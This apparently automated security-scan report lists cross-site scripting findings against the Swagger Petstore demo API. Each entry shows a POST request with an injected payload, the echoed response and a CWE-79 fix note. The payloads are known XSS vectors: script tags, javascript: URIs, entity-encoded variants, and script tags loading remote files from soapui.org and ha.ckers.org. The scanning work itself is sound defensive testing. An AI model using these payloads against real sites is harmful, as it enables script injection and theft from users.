Endpoint	https://petstore.swagger.io/v2/pet		
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1		
Test Step	POST		
Modified	<table> <tr> <th>Name</th><th>Value</th></tr> </table>	Name	Value
Name	Value		

Parameters	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}],"status":"available"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 189 <b>Full response:</b> { "id":9216678377732943940,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}],"status":"available"}	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#78	

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"\\\\";alert('XSS');//"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"\\\\";alert('XSS');//"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"\\\\";alert('XSS');//"}],"status":"available"}				
Response	<div><b>Content-type:</b> application/json <b>Content length:</b> 170 <b>Full response:</b> <pre>{"id":9216678377732943942,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"\\\\";alert('XSS');//"}],"status":"available"}</pre></div>				
Alerts	Cross Site Scripting Detection: Content that is sent in request "\\\";alert('XSS');// is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#79				

Scan

Cross Site Scripting

Severity

ERROR

Endpoint

https://petstore.swagger.io/v2/pet

Request

POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step

POST

Modified Parameters

Name	Value
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<BODY ONLOAD=alert('XSS')>"}],"status":"available"}

Response

Content-type: application/json

Content length: 176

Full response:

{ "id":9216678377732943948,"category":{"id":0,"name":"string"},"name":" "

	<pre>doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;BODY ONLOAD=alert('XSS')&gt;" } ], "status": "available" }</pre>
Alerts	Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS...' is exposed in response. Possibility for XSS script attack in: POST
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response
CWE-ID	CWE-79
Issue Number	#80

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.tags[0].name</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;" } ], "status": "available" }</pre></td></tr></table>	Name	Value	Request \$.tags[0].name	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;" } ], "status": "available" }</pre>
Name	Value				
Request \$.tags[0].name	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;" } ], "status": "available" }</pre>				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 200 <b>Full response:</b></p> <pre>{ "id": 9216678377732943960, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;" } ], "status": "available" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#81				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.tags[0].name</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;script&gt;alert('XSS')&lt;/script&gt;" } ], "status": "available" }</pre></td></tr></table>	Name	Value	Request \$.tags[0].name	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;script&gt;alert('XSS')&lt;/script&gt;" } ], "status": "available" }</pre>
Name	Value				
Request \$.tags[0].name	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;script&gt;alert('XSS')&lt;/script&gt;" } ], "status": "available" }</pre>				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 191 <b>Full response:</b></p> <pre>{ "id": 9216678377732943970, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;script&gt;alert('XSS')&lt;/script&gt;" } ], "status": "available" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<script>alert('X...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code>				

	will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>		#82

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.tags[0].name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;"},"status":"available"}</td></tr></table>	Name	Value	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"status":"available"}
Name	Value				
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 210</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943990,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;"},"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number					

#83

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;"},"status":"available"}</td></tr></table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"status":"available"}				
Response	<div><b>Content-type:</b> application/json <b>Content length:</b> 264 <b>Full response:</b> <pre>{"id":9216678377732943993,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;"},"status":"available"}</pre></div>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#84				

**Scan** Cross Site Scripting

**Severity** ERROR

**Endpoint** https://petstore.swagger.io/v2/pet

**Request** POST https://petstore.swagger.io/v2/pet HTTP/1.1

**Test Step** POST

**Modified Parameters**

Name	Value
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}],"status":"available"}

**Response**

**Content-type:** application/json

**Content length:** 208

**Full response:**

```
{"id":9216678377732944003,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}],"status":"available"}
```

**Alerts** Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht...' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter `Request $.tags[0].name` will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#85

**Scan** Cross Site Scripting

**Severity** ERROR

**Endpoint** https://petstore.swagger.io/v2/pet

**Request** POST https://petstore.swagger.io/v2/pet HTTP/1.1

**Test Step** POST

**Modified Parameters**

Name	Value
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<PLAINTEXT>"}

**Response**

**Content-type:** application/json

**Content length:** 158

**Full response:**

```
{"id":9216678377732944013,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<PLAINTEXT>"}
```

**Alerts** Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#86

**Scan** Cross Site Scripting

**Severity** ERROR

**Endpoint** https://petstore.swagger.io/v2/pet



<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;" }</td></tr> </table>	Name	Value	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>" }
Name	Value				
Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 193 <b>Full response:</b> <pre>{ "id":9216678377732944016,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#87				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;IMG SRC=javascript:alert('XSS')&gt;" }</td></tr> </table>	Name	Value	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert('XSS')>" }
Name	Value				
Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert('XSS')>" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 180 <b>Full response:</b> <pre>{ "id":9216678377732944018,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;IMG SRC=javascript:alert('XSS')&gt;" }</pre>				
<b>Alerts</b>	<ul style="list-style-type: none"> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST</li> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST</li> </ul>				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#88				

<b>Scan</b>	Cross Site Scripting
<b>Severity</b>	ERROR
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1
<b>Test Step</b>	POST
<b>Modified</b>	

Parameters	Name	Value
	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 180 <b>Full response:</b> { "id":9216678377732944019,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}	
Alerts	<ul style="list-style-type: none"><li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST</li><li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST</li></ul>	
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#89	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 190 <b>Full response:</b> { "id":9216678377732944020,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#90	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG

	SRC=javascript:alert(String.fromCharCode(88,83,83))>"} }
Response	<b>Content-type:</b> application/json <b>Content length:</b> 204 <b>Full response:</b> { "id":9216678377732944023,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>" }
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST
Action Points	You should ensure that HTML tags passed into the parameter Request \$.status will not be echoed back in the response
CWE-ID	CWE-79
Issue Number	#91

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.status</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#39;&amp;#41;&gt;" }</td></tr></table>	Name	Value	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#39;&#41;>" }
Name	Value				
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#39;&#41;>" }				
Response	<b>Content-type:</b> application/json <b>Content length:</b> 283 <b>Full response:</b> { "id":9216678377732944024,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#39;&#41;>" }				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.status will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#92				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.status</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000039&amp;#0000041&gt;" }</td></tr></table>	Name	Value	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000039&#0000041>" }
Name	Value				
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000039&#0000041>" }				

<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 364 <b>Full response:</b> <pre>{ "id": 9216678377732944025, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;" }</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00...' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#93

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;" }</td></tr> </table>	Name	Value	Request \$.status	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>" }
Name	Value				
Request \$.status	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 272 <b>Full response:</b> <pre>{ "id": 9216678377732944026, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#94				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;" }</td></tr> </table>	Name	Value	Request \$.status	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "<SCRIPT SRC=http://soapui.org/xss.js?<B>" }
Name	Value				
Request \$.status	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "<SCRIPT SRC=http://soapui.org/xss.js?<B>" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 187				

	<b>Full response:</b> <pre>{ "id": 9216678377732944040, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;" }</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT SRC=http://soa...</code> ' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#95

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;" }</pre></td></tr> </table>	Name	Value	Request \$.status	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;" }</pre>
Name	Value				
Request \$.status	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 177 <b>Full response:</b> <pre>{ "id": 9216678377732944041, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT SRC=//ha.ckers...</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#96				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
